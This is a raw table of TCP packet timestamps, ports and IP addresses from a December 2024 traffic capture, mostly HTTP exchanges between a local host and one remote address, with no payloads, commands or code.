Dec 13, 2024 01:51:53.530122042 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.530261993 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.530276060 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.530323029 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.531382084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.531444073 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.531928062 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.531981945 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.532017946 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.532066107 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.534708023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.534759998 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.534790039 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.534842968 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.537426949 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.537477970 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.537556887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.537612915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.540087938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.540146112 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.540215969 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.540277004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.542702913 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.542751074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.542810917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.542853117 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.545289993 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.545337915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.545402050 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.545444965 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.547799110 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.547844887 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.547925949 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.547995090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.550338984 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.550395966 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.550473928 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.550519943 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.552752972 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.552804947 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.552854061 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.552901030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.555130959 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.555181026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.555243015 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.555286884 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.557528973 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.557575941 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.557636023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.557679892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.559880018 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.559930086 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.560003996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.560046911 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.562196016 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.562244892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.562372923 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.562426090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.564495087 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.564548016 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.564645052 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.564692020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.566756010 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.566823006 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.566870928 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.566916943 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.569000006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.569050074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.569106102 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.569159031 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.571495056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.571556091 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.571841955 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.571893930 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.573504925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.573554993 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.573636055 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.573683023 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.575854063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.575902939 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.575988054 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.576033115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.577965975 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.578052998 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.578108072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.578159094 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.580220938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.580272913 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.580282927 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.580331087 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.582448959 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.582501888 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.582562923 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.582617044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.584691048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.584743977 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.584809065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.584858894 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.586941004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.586996078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.587064028 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.587117910 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.589165926 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.589245081 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.589287996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.589337111 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.590795994 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:53.590811014 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:53.590889931 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:53.591372013 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:53.591387033 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:53.591398001 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.591448069 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.591516018 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.591602087 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.593642950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.593700886 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.593755007 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.593801975 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.595892906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.595949888 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.596044064 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.596093893 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.598167896 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.598282099 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.598285913 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.598335028 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.598592997 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:53.600367069 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.600429058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.600472927 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.600522995 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.602627993 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.602685928 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.602744102 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.602796078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.604856014 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.604904890 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.604967117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.605015039 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.607072115 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.607136965 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.607197046 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.607245922 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.609332085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.609394073 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.609436035 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.609484911 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.611612082 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.611665964 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.611686945 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.611732006 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.614017010 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.614084005 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.614188910 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.614238977 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.616058111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.616120100 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.616170883 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.616219997 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.618323088 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.618376017 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.618505001 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.618547916 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.620549917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.620601892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.620656967 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.620703936 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.622788906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.622843981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.622912884 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.622961998 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.625004053 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.625063896 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.625127077 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.625180006 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.627260923 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.627331018 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.627384901 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.627437115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.629493952 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.629559040 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.629611015 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.629661083 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.631782055 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.631833076 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.631834030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.631880045 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.633959055 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.634013891 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.634076118 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.634124994 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.636233091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.636286020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.636358023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.636410952 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.638489962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.638533115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.638601065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.638648033 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.640691996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.640753031 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.640815973 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.640863895 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.642936945 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.642996073 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.643059015 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.643111944 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.645181894 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.645235062 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.645298004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.645345926 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.647402048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.647452116 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.647452116 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.647497892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.649625063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.649682045 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.672394991 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:53.672481060 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:53.672651052 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:53.672967911 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:53.673017979 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:53.718389034 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:53.722573996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.722631931 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.722656965 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.722703934 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.723504066 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.723556995 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.723603964 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.723656893 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.725271940 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.725326061 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.725394011 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.725446939 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.727010012 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.727065086 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.727134943 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.727189064 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.728771925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.728847980 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.728893042 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.728946924 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.730734110 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.730784893 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.730786085 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.730835915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.732199907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.732256889 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.732295990 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.732347012 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.733872890 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.733926058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.733990908 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.734042883 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.735553980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.735615969 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.735670090 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.735723972 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.737180948 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.737236023 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.737283945 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.737335920 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.738912106 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.739020109 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.739020109 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.739073038 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.740437031 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.740490913 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.740559101 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.740609884 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.742026091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.742082119 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.742141962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.742196083 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.743632078 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.743685961 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.743746042 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.743796110 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.745225906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.745279074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.745361090 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.745412111 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.746743917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.746799946 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.746860981 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.746912956 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.748277903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.748338938 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.748403072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.748455048 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.749876022 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.749910116 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.749931097 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.749952078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.750068903 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.750130892 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.750169039 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.750199080 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.750216007 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.750243902 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.750855923 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.750874996 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.751348972 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.751422882 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.751450062 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.751480103 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.752815962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.752875090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.752932072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.752979040 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.754359007 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.754415035 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.754465103 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.754518032 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.755786896 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.755841970 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.755932093 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.755984068 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.757258892 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.757312059 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.757374048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.757433891 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.758728027 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.758780956 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.758831978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.758887053 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.760206938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.760327101 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.760343075 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.760392904 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.761004925 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.761044979 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.761176109 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.761334896 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.761356115 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.761624098 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.761677027 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.761738062 CET	80	49880	185.215.113.16	192.168.2.4
